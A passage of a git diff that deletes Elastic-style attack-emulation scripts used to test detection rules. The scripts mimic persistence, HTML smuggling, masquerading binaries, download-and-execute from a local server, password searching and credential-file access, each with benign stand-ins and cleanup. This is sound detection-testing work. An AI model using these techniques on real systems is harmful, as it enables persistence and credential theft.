'Persistence via Scheduled Job Creation'}], - techniques=['T1053', 'T1053.005'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - path = "C:\\Windows\\Tasks\\a.job" - common.copy_file(EXE_FILE, path) - common.remove_files(path) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/file_create_vbs_startup.py b/rta/file_create_vbs_startup.py deleted file mode 100644 index ec562dae3..000000000 --- a/rta/file_create_vbs_startup.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="7cee9313-5e55-472b-9d61-a95b0c9725d6", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': 'f7c4dc5a-a58d-491d-9f14-9b66507121c0', - 'rule_name': 'Persistent Scripts in the Startup Directory' - }], - techniques=['T1547', 'T1547.001'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - path = "C:\\Users\\Programs\\Startup" - Path(path).mkdir(parents=True, exist_ok=True) - file = path + "\\a.vbs" - common.copy_file(EXE_FILE, file) - - common.remove_files(file) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/file_creation_teamviewer.py b/rta/file_creation_teamviewer.py deleted file mode 100644 index 90e1bd1aa..000000000 --- a/rta/file_creation_teamviewer.py +++ /dev/null @@ -1,32 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="0da48a27-4a5e-4974-ba6a-63cce8f602df", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': 'b25a7df2-120a-4db2-bd3f-3e4b86b24bee', 'rule_name': 'Remote File Copy via TeamViewer'}], - techniques=['T1105', 'T1219'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - teamviewer = "C:\\Users\\Public\\teamviewer.exe" - fake_exe = "C:\\Users\\Public\\a.exe" - common.copy_file(EXE_FILE, teamviewer) - - # Execute command - common.execute([teamviewer, "/c", f"echo AAAAAAAAAA | Out-File {fake_exe}"], timeout=10) - common.remove_files(fake_exe, teamviewer) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/file_delete_spool_driver.py b/rta/file_delete_spool_driver.py deleted file mode 100644 index 06f5c6ddf..000000000 --- a/rta/file_delete_spool_driver.py +++ /dev/null @@ -1,28 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - -metadata = RtaMetadata( - uuid="3a343699-374c-454a-841c-f0d0d4a3031f", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': 'c4818812-d44f-47be-aaef-4cfb2f9cc799', 'rule_name': 'Suspicious Print Spooler File Deletion'}], - techniques=['T1068'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - file = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\rta.dll" - common.copy_file(EXE_FILE, file) - - common.remove_files(file) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/file_delete_vbk.py b/rta/file_delete_vbk.py deleted file mode 100644 index 0c6ecd5c6..000000000 --- a/rta/file_delete_vbk.py +++ /dev/null @@ -1,31 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="a6c80b08-ca72-4c3e-93c7-ac3421e4235e", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '11ea6bec-ebde-4d71-a8e9-784948f8e3e9', - 'rule_name': 'Third-party Backup Files Deleted via Unexpected Process' - }], - techniques=['T1490'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - fakebkp = Path("fake.vbk").resolve() - with open(fakebkp, 'w'): - pass - common.remove_file(fakebkp) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/file_exe_ususual_extension.py b/rta/file_exe_ususual_extension.py deleted file mode 100644 index 57562728e..000000000 --- a/rta/file_exe_ususual_extension.py +++ /dev/null @@ -1,37 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="5370760b-09ea-4258-bcfa-e426726a4777", - platforms=["windows"], - endpoint=[ - {"rule_name": "Execution via Renamed Signed Binary Proxy", "rule_id": "b0207677-5041-470b-981d-13ab956cf5b4"}, - {"rule_name": "Executable with Unusual Filename", "rule_id": "d1b6319f-2933-4872-8e67-5728fd09a4a1"}, - { - "rule_name": "Process Execution with Unusual File Extension", - "rule_id": "6daf97b0-8e29-476b-998a-c3d168d98506", - }, - ], - siem=[], - techniques=["T1218", "T1036"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - unusualext = "C:\\Users\\Public\\powershell.exe.pdf" - common.copy_file(powershell, unusualext) - - common.execute([unusualext], timeout=1, kill=True) - common.remove_file(unusualext) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/file_html_smuggling.py b/rta/file_html_smuggling.py deleted file mode 100644 index 5b30f824f..000000000 --- a/rta/file_html_smuggling.py +++ /dev/null @@ -1,52 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata -import os - - -metadata = RtaMetadata( - uuid="0debe15f-1c9b-4ff8-9e4c-478647ca45e2", - platforms=["windows"], - endpoint=[ - {"rule_name": "Suspicious File Delivery via HTML Smuggling", "rule_id": "4415ab60-7cff-41dc-b3f0-939bd22c1810"} - ], - siem=[], - techniques=["T1027", "T1566"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - userprofile = os.getenv("USERPROFILE") - partial = f"{userprofile}\\Downloads\\a.partial" - file = f"{userprofile}\\Downloads\\a.iso" - explorer = "C:\\Users\\Public\\explorer.exe" - chrome = "C:\\Users\\Public\\chrome.exe" - common.copy_file(EXE_FILE, explorer) - common.copy_file(EXE_FILE, chrome) - - # Execute command - common.execute( - [ - explorer, - "/c", - chrome, - "--single-argument", - f"{userprofile}\\Downloads\\a.html", - ], - timeout=10, - kill=True, - ) - common.execute([chrome, "/c", f"New-Item -Path {partial} -Type File"], timeout=10) - common.execute([chrome, "/c", f"Rename-Item {partial} {file}"], timeout=10) - common.remove_files(explorer, chrome, file) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/file_mod_via_chmod.py b/rta/file_mod_via_chmod.py deleted file mode 100644 index bce455f75..000000000 --- a/rta/file_mod_via_chmod.py +++ /dev/null @@ -1,33 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="dbbfda7f-376d-482d-b7ea-3bb1e8918584", - platforms=["macos"], - endpoint=[ - { - "rule_name": "File Made Executable by Suspicious Parent Process", - "rule_id": "42ab2c0f-b10d-467d-8c6d-def890cf3f68", - } - ], - siem=[], - techniques=["T1222", "T1222.002", "T1564"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - common.log("Executing chmod on tmp files.") - with common.temporary_file("testing", "/tmp/test.txt"): - common.execute(["chmod", "+x", "/tmp/test.txt"]) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/file_ms_template_macros.py b/rta/file_ms_template_macros.py deleted file mode 100644 index 617c82f76..000000000 --- a/rta/file_ms_template_macros.py +++ /dev/null @@ -1,32 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="858475a2-78a6-40f8-8691-7ce0c631cc0c", - platforms=["windows"], - endpoint=[{ - 'rule_id': '608eae71-6797-4ded-bfaa-41bcb17a8498', - 'rule_name': 'Office Application Startup via Template File Modification' - }], - siem=[], - techniques=['T1137', 'T1137.001'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - path = "C:\\Users\\Public\\AppData\\Roaming\\Microsoft\\Templates\\" - Path(path).mkdir(parents=True, exist_ok=True) - file = path + "\\Normal.dotm" - - common.temporary_file_helper("testing", file_name=file) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/file_script_startup_folder.py b/rta/file_script_startup_folder.py deleted file mode 100644 index 61af030ba..000000000 --- a/rta/file_script_startup_folder.py +++ /dev/null @@ -1,42 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="b8dcb997-e099-472e-8f2f-15a80c8dfe1a", - platforms=["windows"], - endpoint=[ - { - 'rule_id': 'dec8781c-ef73-4037-9684-ef28c0322fa4', - 'rule_name': 'Script File Written to Startup Folder' - }, - { - "rule_name": "Unusual File Written or Modified in Startup Folder", - "rule_id": "30a90136-7831-41c3-a2aa-1a303c1186ac", - } - ], - siem=[], - techniques=['T1547', 'T1547.001'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - proc = "C:\\Users\\Public\\proc.exe" - path = "C:\\Users\\Public\\AppData\\Roaming\\Microsoft\\Windows\\'Start Menu'\\Programs\\Startup\\" - file = path + "\\a.js" - common.copy_file(EXE_FILE, proc) - Path(path).mkdir(parents=True, exist_ok=True) - - common.execute([proc, "/c", f"Copy-Item {EXE_FILE} {file}"], timeout=10) - common.remove_files(proc, file) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/file_susp_browser_extension.py b/rta/file_susp_browser_extension.py deleted file mode 100644 index 8dfe1a462..000000000 --- a/rta/file_susp_browser_extension.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="edb804d6-85df-4dca-a521-1b6dfee9f354", - platforms=["windows"], - endpoint=[{ - 'rule_id': '7df7fca3-8a91-4a54-9799-0478a90ae326', - 'rule_name': 'Suspicious Browser Files Modification' - }], - siem=[], - techniques=['T1176', 'T1112'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - proc = "C:\\Users\\Public\\proc.exe" - path = "C:\\Users\\Public\\AppData\\Roaming\\Mozilla\\Test\\Profiles\\AdefaultA" - file = path + "\\extensions.json" - common.copy_file(EXE_FILE, proc) - Path(path).mkdir(parents=True, exist_ok=True) - - common.execute([proc, "/c", f"Copy-Item {EXE_FILE} {file}"], timeout=10) - common.remove_files(proc, file) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/finder_sync_plugin.py b/rta/finder_sync_plugin.py deleted file mode 100644 index bf314bf5e..000000000 --- a/rta/finder_sync_plugin.py +++ /dev/null @@ -1,37 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="214db941-51ba-4867-b9bf-9b22ff07eea8", - platforms=["macos"], - endpoint=[], - siem=[ - {"rule_name": "Finder Sync Plugin Registered and Enabled", "rule_id": "37f638ea-909d-4f94-9248-edd21e4a9906"} - ], - techniques=["T1543"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/pluginkit" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake commands to miic finder sync plugins.") - common.execute([masquerade, "-a"], timeout=1, kill=True) - common.execute([masquerade, "-e", "use", "-i"], timeout=1, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/findstr_pw_search.py b/rta/findstr_pw_search.py deleted file mode 100644 index 68bba4890..000000000 --- a/rta/findstr_pw_search.py +++ /dev/null @@ -1,32 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Recursive Password Search -# RTA: findstr_pw_search.py -# ATT&CK: T1081 -# Description: Recursively searches files looking for the string "password". - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="332d6bb9-845f-401d-af5a-368f1f10e27a", - platforms=["windows"], - endpoint=[], - siem=[], - techniques=[] -) - - -@common.requires_os(*metadata.platforms) -def main(): - path = "c:\\rta" - common.log("Searching for passwords on %s" % path) - common.execute(["dir", path, "/s", "/b", "|", "findstr", "password"], shell=True, timeout=15) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/firewall_allowlist_modif_unsigned.py b/rta/firewall_allowlist_modif_unsigned.py deleted file mode 100644 index 36928447d..000000000 --- a/rta/firewall_allowlist_modif_unsigned.py +++ /dev/null @@ -1,38 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="a0245bfc-d934-4b58-9a7c-a80eca05214b", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Windows Firewall Exception List Modified via Untrusted Process", - "rule_id": "5c01669c-e1cc-4acc-95b6-8b5e4a92c970", - } - ], - siem=[], - techniques=["T1562"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - posh = "C:\\Users\\Public\\posh.exe" - common.copy_file(EXE_FILE, posh) - - cmd = "netsh addallowedprogramENABLE" - # Execute command - common.execute([posh, "/c", cmd], timeout=10) - common.remove_file(posh) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/fltmc_unload.py b/rta/fltmc_unload.py deleted file mode 100644 index c7d9ce35c..000000000 --- a/rta/fltmc_unload.py +++ /dev/null @@ -1,33 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="54be1902-0608-49df-8053-40020d8a9210", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Potential Defense Evasion via Filter Manager Control Program", - "rule_id": "5b39f347-077c-4a1e-8d3c-6f7789ca09e8", - } - ], - siem=[], - techniques=["T1562"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - # Execute command - common.log("Executing ftlmc unload on non-exisiting driver") - common.execute(["fltmc.exe", "unload", "ElasticNonExisting"], timeout=10) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/gdb_init_secret_dump.py b/rta/gdb_init_secret_dump.py deleted file mode 100644 index ba7165f52..000000000 --- a/rta/gdb_init_secret_dump.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="163dbe60-28e0-4042-b2f0-173dddea877b", - platforms=["linux"], - endpoint=[ - {"rule_name": "Linux init (PID 1) Secret Dump via GDB", "rule_id": "ba70be59-bf50-48a9-8b36-0f0808a50fb8"}, - ], - siem=[{"rule_name": "Linux init (PID 1) Secret Dump via GDB", "rule_id": "d4ff2f53-c802-4d2e-9fb9-9ecc08356c3f"}], - techniques=["T1003"], -) - - -@common.requires_os(metadata.platforms) -def main() -> None: - masquerade = "/tmp/gdb" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - - # Execute command - common.log("Launching fake GDB commands to hook the init process") - common.execute([masquerade, "--pid", "1"], timeout=5, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/git_creds_access.py b/rta/git_creds_access.py deleted file mode 100644 index 3777c7751..000000000 --- a/rta/git_creds_access.py +++ /dev/null @@ -1,38 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="e15ea2ec-c8a9-4203-8d01-d18d1c27fd58", - platforms=["windows"], - endpoint=[ - {"rule_name": "Sensitive File Access - Cloud Credentials", "rule_id": "39f60a36-8c5a-4703-8576-ad3e8c800a0f"} - ], - siem=[], - techniques=["T1552"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - gitpath = "C:\\Users\\Public\\.config\\git" - - try: - Path(gitpath).mkdir(parents=True) - except Exception: - pass - gitcreds = gitpath + "\\credentials" - cmd = f"echo 'aaaaaa' > {gitcreds}; cat {gitcreds}" - # Execute command - common.execute([powershell, "/c", cmd], timeout=10) - common.remove_file(gitcreds) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/globalflags.py b/rta/globalflags.py deleted file mode 100644 index b058d2caa..000000000 --- a/rta/globalflags.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Persistence using GlobalFlags -# RTA: globalflags.py -# ATT&CK: T1183 -# Description: Uses GlobalFlags option in Image File Execution Options to silently execute calc.exe after the monitored -# process (notepad.exe) is closed. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="e09d904a-f3bb-4d36-8eb8-8c234812807c", - platforms=["windows"], - endpoint=[], - siem=[{"rule_id": "6839c821-011d-43bd-bd5b-acff00257226", "rule_name": "Image File Execution Options Injection"}], - techniques=["T1546"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Setting up persistence using Globalflags") - ifeo_subkey = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\netstat.exe" - spe_subkey = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\netstat.exe" - - with common.temporary_reg(common.HKLM, ifeo_subkey, "GlobalFlag", 512, common.DWORD), common.temporary_reg( - common.HKLM, spe_subkey, "ReportingMode", 1, common.DWORD - ), common.temporary_reg(common.HKLM, spe_subkey, "MonitorProcess", "C:\\Windows\\system32\\whoami.exe"): - - common.log("Opening and closing netstat") - common.execute(["whoami"], shell=True) - common.execute(["taskkill", "/F", "/IM", "netstat.exe"]) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/grep_software_discovery.py b/rta/grep_software_discovery.py deleted file mode 100644 index fab17c015..000000000 --- a/rta/grep_software_discovery.py +++ /dev/null @@ -1,43 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="6ef908be-9ed3-413d-8d4d-94446107eecc", - platforms=["macos", "linux"], - endpoint=[ - { - "rule_name": "Potential Security Software Discovery via Grep", - "rule_id": "13eade2e-73dd-4fab-a511-88258635559d", - } - ], - siem=[{"rule_name": "Security Software Discovery via Grep", "rule_id": "870aecc0-cea4-4110-af3f-e02e9b373655"}], - techniques=["T1518"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/grep" - if common.CURRENT_OS == "linux": - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - else: - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake grep commands to discover software") - common.execute([masquerade, "testgreptestLittle Snitchtest"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/hidden_file_mount.py b/rta/hidden_file_mount.py deleted file mode 100644 index fc979e4ea..000000000 --- a/rta/hidden_file_mount.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="1d7ff305-03b5-4917-b32c-d0267018063c", - platforms=["macos"], - endpoint=[ - {"rule_name": "MacOS Hidden File Mounted", "rule_id": "c5f219ca-4bda-461b-bc54-246c0bb48143"}, - ], - siem=[], - techniques=["T1211", "T1059", "T1059.004"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - mount_dir = "/tmp/.exploit" - disk_file = "disk.dmg" - - # create disk image - common.execute(["hdiutil", "create", "-size", "50b", "-volname", ".exploit", "-ov", disk_file], kill=True) - - # attach disk image to mount point - common.log("Launching hdutil commands to mount dummy dmg") - common.execute(["hdiutil", "attach", "-mountpoint", mount_dir, disk_file], kill=True) - - # cleanup - common.execute(["hdiutil", "eject", "/tmp/.exploit"], timeout=10, kill=True) - common.remove_file(disk_file) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/hidden_plist.py b/rta/hidden_plist.py deleted file mode 100644 index 4ef1e481c..000000000 --- a/rta/hidden_plist.py +++ /dev/null @@ -1,32 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - -from pathlib import Path - -metadata = RtaMetadata( - uuid="6df524fe-6a1a-417f-8f70-d6140ef739e2", - platforms=["macos"], - endpoint=[{"rule_name": "Persistence via a Hidden Plist Filename", "rule_id": "4090fed3-8ac4-45bf-8545-bae448fd38d4"}], - siem=[{ - 'rule_id': '092b068f-84ac-485d-8a55-7dd9e006715f', - 'rule_name': 'Creation of Hidden Launch Agent or Daemon' - }], - techniques=["T1547", "T1547.011", "T1543", "T1543.001", "T1564", "T1564.001"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - plist_path = f"/Library/LaunchAgents/.test.plist" - common.log(f"Executing hidden plist creation on {plist_path}") - common.temporary_file_helper("testing", plist_path) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/hosts_file_modify.py b/rta/hosts_file_modify.py deleted file mode 100644 index d7122e4d7..000000000 --- a/rta/hosts_file_modify.py +++ /dev/null @@ -1,63 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Hosts File Modified -# RTA: hosts_file_modify.py -# ATT&CK: T1492 -# Description: Modifies the hosts file - -import os -import random -import time -from pathlib import Path -from string import ascii_letters - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="f24491d0-720b-4150-a2a1-45b5b07238aa", - platforms=["windows", "linux", "macos"], - endpoint=[], - siem=[{"rule_id": "9c260313-c811-4ec8-ab89-8f6530e0246c", "rule_name": "Hosts File Modified"}], - techniques=["T1565"], -) - - -def main(): - hosts_files = { - common.WINDOWS: "C:\\Windows\\system32\\drivers\\etc\\hosts", - common.LINUX: "/etc/hosts", - common.MACOS: "/private/etc/hosts", - } - hosts_file = hosts_files[common.CURRENT_OS] - - backup = Path(hosts_file + "_backup").resolve() - common.log("Backing up original 'hosts' file.") - common.copy_file(hosts_file, backup) - - # add randomness for diffs for FIM module - randomness = "".join(random.sample(ascii_letters, 10)) - entry = [ - "", - "# RTA hosts_modify was here", - "# 8.8.8.8 https://www.{random}.google.com".format(random=randomness), - ] - with open(hosts_file, "a") as f: - f.write("\n".join(entry)) - - common.log("Updated hosts file") - with open(hosts_file, "r") as f: - common.log(f.read()) - - time.sleep(2) - - # cleanup - common.log("Restoring hosts from backup copy.") - common.copy_file(backup, hosts_file) - os.remove(backup) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/html_help_file_written_exec.py b/rta/html_help_file_written_exec.py deleted file mode 100644 index 62929ba6d..000000000 --- a/rta/html_help_file_written_exec.py +++ /dev/null @@ -1,43 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="9bbf9aea-33fc-45fc-be55-4cafc744da80", - platforms=["windows"], - endpoint=[ - {"rule_name": "File Execution via Microsoft HTML Help", "rule_id": "9c3b13f6-bc26-4397-9721-4ba23ddd1014"} - ], - siem=[], - techniques=["T1218", "T1566"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - server, ip, port = common.serve_web() - url = f"http://{ip}:{port}/bin/renamed_posh.exe" - - hh = "C:\\Users\\Public\\hh.exe" - dropped = "C:\\Users\\Public\\posh.exe" - common.copy_file(EXE_FILE, hh) - - cmd = f"Invoke-WebRequest -Uri {url} -OutFile {dropped}" - - # Execute command - common.log("Using a fake hh to drop and execute an .exe") - common.execute([hh, "/c", cmd], timeout=10) - common.execute([hh, "/c", dropped], timeout=10, kill=True) - common.remove_file(hh) - common.remove_file(dropped) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/image_load_dnguard.py b/rta/image_load_dnguard.py deleted file mode 100644 index 60ebd86cf..000000000 --- a/rta/image_load_dnguard.py +++ /dev/null @@ -1,42 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="1a565d0d-ac8e-487c-94cc-02aba86ad671", - platforms=["windows"], - endpoint=[ - { - 'rule_id': 'e691d379-6d01-43cc-9f1e-ab10df48a6bc', - 'rule_name': 'Execution of a DNGUard Protected Program' - } - ], - siem=[], - techniques=['T1027', 'T1027.002'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") - - -@common.requires_os(*metadata.platforms) -def main(): - proc = "C:\\Users\\Public\\proc.exe" - user32 = "C:\\Windows\\System32\\user32.dll" - dll = "C:\\Users\\Public\\HVMRuntm.dll" - ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" - common.copy_file(EXE_FILE, proc) - common.copy_file(user32, dll) - common.copy_file(PS1_FILE, ps1) - - common.log("Loading HVMRuntm.dll into fake proc") - common.execute([proc, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}"], timeout=10) - common.remove_files(proc, dll, ps1) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/image_load_msbuild_vaultcli.py b/rta/image_load_msbuild_vaultcli.py deleted file mode 100644 index 6a507f8fa..000000000 --- a/rta/image_load_msbuild_vaultcli.py +++ /dev/null @@ -1,47 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="d4b4f924-974b-4033-9728-bb6a736bf7ef", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '9d110cb3-5f4b-4c9a-b9f5-53f0a1707ae5', - 'rule_name': 'Potential Credential Access via Trusted Developer Utility' - }], - techniques=['T1003'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") -RENAMER = common.get_path("bin", "rcedit-x64.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - msbuild = "C:\\Users\\Public\\msbuild.exe" - user32 = "C:\\Windows\\System32\\user32.dll" - dll = "C:\\Users\\Public\\vaultcli.dll" - ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" - rcedit = "C:\\Users\\Public\\rcedit.exe" - common.copy_file(user32, dll) - common.copy_file(EXE_FILE, msbuild) - 